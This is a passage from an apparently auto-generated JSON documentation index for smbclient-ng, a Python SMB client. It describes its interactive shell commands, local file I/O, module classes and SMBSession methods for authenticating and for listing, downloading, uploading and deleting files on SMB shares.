\n", "signature": "(func):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.active_smb_connection_needed", "modulename": "smbclientng.core.InteractiveShell", "qualname": "active_smb_connection_needed", "kind": "function", "doc": "

\n", "signature": "(func):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.smb_share_is_set", "modulename": "smbclientng.core.InteractiveShell", "qualname": "smb_share_is_set", "kind": "function", "doc": "

\n", "signature": "(func):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell", "kind": "class", "doc": "

Class InteractiveShell is designed to manage the interactive command line interface for smbclient-ng.

\n\n

This class handles user input, executes commands, and manages the state of the SMB session. It provides\na command line interface for users to interact with SMB shares, execute commands like directory listing,\nfile transfer, and more.

\n\n

Attributes:\n smbSession (SMBConnection): The active SMB connection session.\n debug (bool): Flag to enable or disable debug mode.\n smb_share (str): The current SMB share in use.\n smb_path (str): The current path within the SMB share.\n commandCompleterObject (CommandCompleter): Object to handle command completion and help generation.

\n\n

Methods:\n __init__(self, smbSession, debug=False): Initializes the InteractiveShell with the given SMB session and debug mode.\n run(self): Starts the command line interface loop, processing user input until exit.

\n"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.__init__", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.__init__", "kind": "function", "doc": "

\n", "signature": "(smbSession, config)"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.smbSession", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.smbSession", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.config", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.config", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.commandCompleterObject", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.commandCompleterObject", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.modules", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.modules", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.run", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.run", "kind": "function", "doc": "

\n", "signature": "(self):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.process_command", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.process_command", "kind": "function", "doc": "

\n", "signature": "(self, command, arguments=[]):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_bat", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_bat", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_cd", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_cd", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_cat", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_cat", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_close", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_close", "kind": "function", "doc": "

\n", "signature": "(self, arguments, command):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_get", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_get", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_help", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_help", "kind": "function", "doc": "

\n", "signature": "(self, arguments, command):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_info", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_info", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_lcd", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_lcd", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_lls", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_lls", "kind": "function", "doc": "

\n", "signature": "(self, arguments, command):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_lmkdir", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_lmkdir", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_lpwd", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_lpwd", "kind": "function", "doc": "

\n", "signature": "(self, arguments, command):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_lrm", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_lrm", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_lrmdir", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_lrmdir", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_ltree", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_ltree", "kind": "function", "doc": "

\n", "signature": "(self, arguments, command):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_ls", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_ls", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_mkdir", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_mkdir", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_module", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_module", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_put", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_put", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_reconnect", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_reconnect", "kind": "function", "doc": "

\n", "signature": "(self, arguments, command):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_reset", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_reset", "kind": "function", "doc": "

\n", "signature": "(self, arguments, command):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_rm", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_rm", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_rmdir", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_rmdir", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_shares", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_shares", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_tree", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_tree", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.InteractiveShell.InteractiveShell.command_use", "modulename": "smbclientng.core.InteractiveShell", "qualname": "InteractiveShell.command_use", "kind": "function", "doc": "

\n", "signature": "(*args, **kwargs):", "funcdef": "def"}, {"fullname": "smbclientng.core.LocalFileIO", "modulename": "smbclientng.core.LocalFileIO", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO", "kind": "class", "doc": "

Class LocalFileIO is designed to handle local file input/output operations within the smbclient-ng tool.\nIt provides functionalities to open, read, write, and manage progress of file operations based on the expected size of the file.

\n\n

Attributes:\n mode (str): The mode in which the file should be opened (e.g., 'rb', 'wb').\n path (str): The path to the file that needs to be handled.\n expected_size (int, optional): The expected size of the file in bytes. This is used to display progress.\n debug (bool): Flag to enable debug mode which provides additional output during operations.

\n\n

Methods:\n __init__(self, mode, path=None, expected_size=None, debug=False): Initializes the LocalFileIO instance.\n write(self, data): Writes data to the file and updates the progress bar if expected size is provided.\n read(self, size): Reads data from the file up to the specified size and updates the progress bar if expected size is provided.

\n"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.__init__", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.__init__", "kind": "function", "doc": "

\n", "signature": "(\tmode,\tpath=None,\texpected_size=None,\tkeepRemotePath=False,\tdebug=False)"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.mode", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.mode", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.path", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.path", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.dir", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.dir", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.debug", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.debug", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.expected_size", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.expected_size", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.keepRemotePath", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.keepRemotePath", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.write", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.write", "kind": "function", "doc": "

Writes data to the file.

\n\n

This method writes the specified data to the file and updates the progress bar with the amount of data written if the expected size is set.

\n\n

Args:\n data (bytes): The data to be written to the file.

\n\n

Returns:\n int: The number of bytes written.

\n", "signature": "(self, data):", "funcdef": "def"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.read", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.read", "kind": "function", "doc": "

Reads a specified amount of data from the file.

\n\n

This method reads data from the file based on the size specified. It also updates the progress bar with the amount of data read if the expected size is set.

\n\n

Args:\n size (int): The number of bytes to read from the file.

\n\n

Returns:\n bytes: The data read from the file.

\n", "signature": "(self, size):", "funcdef": "def"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.close", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.close", "kind": "function", "doc": "

Closes the file descriptor and optionally removes the file.

\n\n

This method ensures that the file descriptor is properly closed and the file is removed if specified.\nIt also stops the progress bar if it was initiated and cleans up the object by deleting it.

\n\n

Args:\n remove (bool): If True, the file at the path will be removed after closing the file descriptor.

\n", "signature": "(self, remove=False):", "funcdef": "def"}, {"fullname": "smbclientng.core.LocalFileIO.LocalFileIO.set_error", "modulename": "smbclientng.core.LocalFileIO", "qualname": "LocalFileIO.set_error", "kind": "function", "doc": "

Sets an error message in the progress bar's description and modifies the progress bar to show only essential columns.

\n\n

This method is used to communicate error states or important messages directly in the progress bar interface.\nIt updates the task description with the provided message and simplifies the progress bar to show only the text\nand download columns, removing other elements like speed and time remaining which may not be relevant in an error state.

\n\n

Args:\n message (str): The error or status message to display in the progress bar.

\n", "signature": "(self, message):", "funcdef": "def"}, {"fullname": "smbclientng.core.Module", "modulename": "smbclientng.core.Module", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.Module.Module", "modulename": "smbclientng.core.Module", "qualname": "Module", "kind": "class", "doc": "

A parent class for all modules in the smbclient-ng tool.

\n\n

This class provides common attributes and methods that are shared among different modules.

\n"}, {"fullname": "smbclientng.core.Module.Module.__init__", "modulename": "smbclientng.core.Module", "qualname": "Module.__init__", "kind": "function", "doc": "

\n", "signature": "(smbSession, config)"}, {"fullname": "smbclientng.core.Module.Module.name", "modulename": "smbclientng.core.Module", "qualname": "Module.name", "kind": "variable", "doc": "

\n", "default_value": "''"}, {"fullname": "smbclientng.core.Module.Module.description", "modulename": "smbclientng.core.Module", "qualname": "Module.description", "kind": "variable", "doc": "

\n", "default_value": "''"}, {"fullname": "smbclientng.core.Module.Module.smbSession", "modulename": "smbclientng.core.Module", "qualname": "Module.smbSession", "kind": "variable", "doc": "

\n", "default_value": "None"}, {"fullname": "smbclientng.core.Module.Module.options", "modulename": "smbclientng.core.Module", "qualname": "Module.options", "kind": "variable", "doc": "

\n", "default_value": "None"}, {"fullname": "smbclientng.core.Module.Module.config", "modulename": "smbclientng.core.Module", "qualname": "Module.config", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.Module.Module.parseArgs", "modulename": "smbclientng.core.Module", "qualname": "Module.parseArgs", "kind": "function", "doc": "

\n", "signature": "(self):", "funcdef": "def"}, {"fullname": "smbclientng.core.Module.Module.run", "modulename": "smbclientng.core.Module", "qualname": "Module.run", "kind": "function", "doc": "

Placeholder method for running the module.

\n\n

This method should be implemented by subclasses to define the specific behavior of the module.

\n", "signature": "(self):", "funcdef": "def"}, {"fullname": "smbclientng.core.Module.Module.processArguments", "modulename": "smbclientng.core.Module", "qualname": "Module.processArguments", "kind": "function", "doc": "

\n", "signature": "(self, parser, arguments):", "funcdef": "def"}, {"fullname": "smbclientng.core.ModuleArgumentParser", "modulename": "smbclientng.core.ModuleArgumentParser", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.ModuleArgumentParser.ModuleArgumentParser", "modulename": "smbclientng.core.ModuleArgumentParser", "qualname": "ModuleArgumentParser", "kind": "class", "doc": "

A custom argument parser for handling module-specific command-line arguments in the smbclientng application.

\n\n

This class extends the argparse.ArgumentParser and provides custom error handling specific to the needs of smbclientng modules.\nIt is designed to provide clear and user-friendly command-line interfaces for various modules within the smbclientng suite.

\n\n

Attributes:\n None

\n\n

Methods:\n error(message: str):\n Overrides the default error handling to provide a more informative error message and display the help text.

\n", "bases": "argparse.ArgumentParser"}, {"fullname": "smbclientng.core.ModuleArgumentParser.ModuleArgumentParser.error", "modulename": "smbclientng.core.ModuleArgumentParser", "qualname": "ModuleArgumentParser.error", "kind": "function", "doc": "

Overrides the default error handling of argparse.ArgumentParser to provide a custom error message and help display.

\n\n

This method is called when ArgumentParser encounters an error. It writes the error message to stderr,\ndisplays the help message, and then exits the program with a status code of 2.

\n\n

Args:\n message (str): The error message to be displayed.

\n", "signature": "(self, message):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession", "modulename": "smbclientng.core.SMBSession", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession", "kind": "class", "doc": "

Class SMBSession is designed to handle the session management for SMB (Server Message Block) protocol connections.\nIt provides functionalities to connect to an SMB server, authenticate using either NTLM or Kerberos, and manage SMB shares.

\n\n

Attributes:\n address (str): The IP address or hostname of the SMB server.\n domain (str): The domain name for SMB server authentication.\n username (str): The username for SMB server authentication.\n password (str): The password for SMB server authentication.\n lmhash (str): The LM hash of the user's password, if available.\n nthash (str): The NT hash of the user's password, if available.\n use_kerberos (bool): A flag to determine whether to use Kerberos for authentication.\n kdcHost (str): The Key Distribution Center (KDC) host for Kerberos authentication.\n debug (bool): A flag to enable debug output.\n smbClient (object): The SMB client object used for the connection.\n connected (bool): A flag to check the status of the connection.\n smb_share (str): The current SMB share in use.\n smb_path (str): The current path within the SMB share.

\n\n

Methods:\n __init__(address, domain, username, password, lmhash, nthash, use_kerberos=False, kdcHost=None, debug=False):\n Initializes the SMBSession with the specified parameters.\n init_smb_session():\n Initializes the SMB session by connecting to the server and authenticating using the specified method.

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.__init__", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.__init__", "kind": "function", "doc": "

\n", "signature": "(\taddress,\tdomain,\tusername,\tpassword,\tlmhash,\tnthash,\tuse_kerberos=False,\tkdcHost=None,\tconfig=None)"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.config", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.config", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.address", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.address", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.domain", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.domain", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.username", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.username", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.password", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.password", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.lmhash", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.lmhash", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.nthash", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.nthash", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.use_kerberos", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.use_kerberos", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.kdcHost", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.kdcHost", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.smbClient", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.smbClient", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.connected", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.connected", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.available_shares", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.available_shares", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.smb_share", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.smb_share", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.smb_cwd", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.smb_cwd", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.init_smb_session", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.init_smb_session", "kind": "function", "doc": "

Initializes and establishes a session with the SMB server.

\n\n

This method sets up the SMB connection using either Kerberos or NTLM authentication based on the configuration.\nIt attempts to connect to the SMB server specified by the address attribute and authenticate using the credentials provided during the object's initialization.

\n\n

The method will print debug information if the debug attribute is set to True. Upon successful connection and authentication, it sets the connected attribute to True.

\n\n

Returns:\n bool: True if the connection and authentication are successful, False otherwise.

\n", "signature": "(self):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.close_smb_session", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.close_smb_session", "kind": "function", "doc": "

Closes the current SMB session by disconnecting the SMB client.

\n\n

This method ensures that the SMB client connection is properly closed. It checks if the client is connected\nand if so, it closes the connection and resets the connection status.

\n\n

Raises:\n Exception: If the SMB client is not initialized or if there's an error during the disconnection process.

\n", "signature": "(self):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.read_file", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.read_file", "kind": "function", "doc": "

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.find", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.find", "kind": "function", "doc": "

\n", "signature": "(self, paths=[], callback=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.get_file", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.get_file", "kind": "function", "doc": "

Retrieves a file from the specified path on the SMB share.

\n\n

This method attempts to retrieve a file from the given path within the currently connected SMB share.\nIf the path points to a directory, it skips the retrieval. It handles file retrieval by creating a local\nfile object and writing the contents of the remote file to it using the SMB client's getFile method.

\n\n

Parameters:\n path (str): The path of the file to retrieve. If None, uses the current smb_path.

\n\n

Returns:\n None

\n", "signature": "(self, path=None, keepRemotePath=False):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.get_file_recursively", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.get_file_recursively", "kind": "function", "doc": "

Recursively retrieves files from a specified path on the SMB share.

\n\n

This method navigates through all directories starting from the given path,\nand downloads all files found. It handles directories recursively, ensuring\nthat all nested files are retrieved. The method skips over directory entries\nand handles errors gracefully, attempting to continue the operation where possible.

\n\n

Parameters:\n path (str): The initial directory path from which to start the recursive file retrieval.\n If None, it starts from the root of the configured SMB share.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.info", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.info", "kind": "function", "doc": "

Displays information about the server and optionally the shares.

\n\n

This method prints detailed information about the server's characteristics such as NetBIOS names, DNS details, OS information, and SMB capabilities. If the share parameter is set to True and a share is currently set, it will also attempt to display information about the share.

\n\n

Parameters:\n share (bool): If True, display information about the current share.\n server (bool): If True, display information about the server.

\n\n

Returns:\n None

\n", "signature": "(self, share=True, server=True):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.list_contents", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.list_contents", "kind": "function", "doc": "

Lists the contents of a specified directory on the SMB share.

\n\n

This method retrieves the contents of a directory specified by shareName and path. If shareName or path\nis not provided, it defaults to the instance's current SMB share or path. The method returns a dictionary with\nthe long names of the files and directories as keys and their respective SMB entry objects as values.

\n\n

Args:\n shareName (str, optional): The name of the SMB share. Defaults to the current SMB share if None.\n path (str, optional): The directory path to list contents from. Defaults to the current path if None.

\n\n

Returns:\n dict: A dictionary with file and directory names as keys and their SMB entry objects as values.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.list_shares", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.list_shares", "kind": "function", "doc": "

Lists all the shares available on the connected SMB server.

\n\n

This method queries the SMB server to retrieve a list of all available shares. It populates the shares dictionary\nwith key-value pairs where the key is the share name and the value is a dictionary containing details about the share\nsuch as its name, type, raw type, and any comments associated with the share.

\n\n

Returns:\n dict: A dictionary containing information about each share available on the server.

\n", "signature": "(self):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.mkdir", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.mkdir", "kind": "function", "doc": "

Creates a directory at the specified path on the SMB share.

\n\n

This method takes a path and attempts to create the directory structure on the SMB share. If the path includes\nnested directories, it will create each directory in the sequence. If a directory already exists, it will skip\nthe creation for that directory without raising an error.

\n\n

Args:\n path (str, optional): The full path of the directory to create on the SMB share. Defaults to None.

\n\n

Note:\n The path should use forward slashes ('/') which will be converted to backslashes (ntpath.sep) for SMB compatibility.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.path_exists", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.path_exists", "kind": "function", "doc": "

Checks if the specified path exists on the SMB share.

\n\n

This method determines if a given path exists on the SMB share by attempting to list the contents of the path.\nIf the path listing is successful and returns one or more entries, the path is considered to exist.

\n\n

Args:\n path (str, optional): The path to check on the SMB share. Defaults to None.

\n\n

Returns:\n bool: True if the path exists, False otherwise or if an error occurs.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.path_isdir", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.path_isdir", "kind": "function", "doc": "

Checks if the specified path is a directory on the SMB share.

\n\n

This method determines if a given path corresponds to a directory on the SMB share. It does this by listing the\ncontents of the path and filtering for entries that match the basename of the path and are marked as directories.

\n\n

Args:\n path (str, optional): The path to check on the SMB share. Defaults to None.

\n\n

Returns:\n bool: True if the path is a directory, False otherwise or if an error occurs.

\n", "signature": "(self, pathFromRoot=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.path_isfile", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.path_isfile", "kind": "function", "doc": "

Checks if the specified path is a file on the SMB share.

\n\n

This method determines if a given path corresponds to a file on the SMB share. It does this by listing the\ncontents of the path and filtering for entries that match the basename of the path and are not marked as directories.

\n\n

Args:\n path (str, optional): The path to check on the SMB share. Defaults to None.

\n\n

Returns:\n bool: True if the path is a file, False otherwise or if an error occurs.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.ping_smb_session", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.ping_smb_session", "kind": "function", "doc": "

Tests the connectivity to the SMB server by sending an echo command.

\n\n

This method attempts to send an echo command to the SMB server to check if the session is still active.\nIt updates the connected attribute of the class based on the success or failure of the echo command.

\n\n

Returns:\n bool: True if the echo command succeeds (indicating the session is active), False otherwise.

\n", "signature": "(self):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.put_file", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.put_file", "kind": "function", "doc": "

Uploads a single file to the SMB share.

\n\n

This method takes a local file path, opens the file, and uploads it to the SMB share at the specified path.\nIt handles exceptions such as broken pipe errors or keyboard interrupts by closing and reinitializing the SMB session.\nGeneral exceptions are caught and logged, with a traceback provided if debugging is enabled.

\n\n

Args:\n localpath (str, optional): The local file path of the file to be uploaded. Defaults to None.

\n", "signature": "(self, localpath=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.put_file_recursively", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.put_file_recursively", "kind": "function", "doc": "

Recursively uploads files from a specified local directory to the SMB share.

\n\n

This method walks through the given local directory and all its subdirectories, uploading each file to the\ncorresponding directory structure on the SMB share. It first checks if the local path is a directory. If it is,\nit iterates over all files and directories within the local path, creating necessary directories on the SMB share\nand uploading files. If the local path is not a directory, it prints an error message.

\n\n

Args:\n localpath (str, optional): The local directory path from which files will be uploaded. Defaults to None.

\n", "signature": "(self, localpath=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.rmdir", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.rmdir", "kind": "function", "doc": "

Removes a directory from the SMB share at the specified path.

\n\n

This method attempts to delete a directory located at the given path on the SMB share. If the operation fails,\nit prints an error message indicating the failure and the reason. If debugging is enabled, it also prints\nthe stack trace of the exception.

\n\n

Args:\n path (str, optional): The path of the directory to be removed on the SMB share. Defaults to None.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.rm", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.rm", "kind": "function", "doc": "

Removes a file from the SMB share at the specified path.

\n\n

This method attempts to delete a file located at the given path on the SMB share. If the operation fails,\nit prints an error message indicating the failure and the reason. If debugging is enabled, it also prints\nthe stack trace of the exception.

\n\n

Args:\n path (str, optional): The path of the file to be removed on the SMB share. Defaults to None.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.tree", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.tree", "kind": "function", "doc": "

Recursively lists the directory structure of the SMB share starting from the specified path.

\n\n

This function prints a visual representation of the directory tree of the remote SMB share. It uses\nrecursion to navigate through directories and lists all files and subdirectories in each directory.\nThe output is color-coded and formatted to enhance readability, with directories highlighted in cyan.

\n\n

Args:\n path (str, optional): The starting path on the SMB share from which to begin listing the tree.\n Defaults to the root of the current share.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.set_share", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.set_share", "kind": "function", "doc": "

Sets the current SMB share to the specified share name.

\n\n

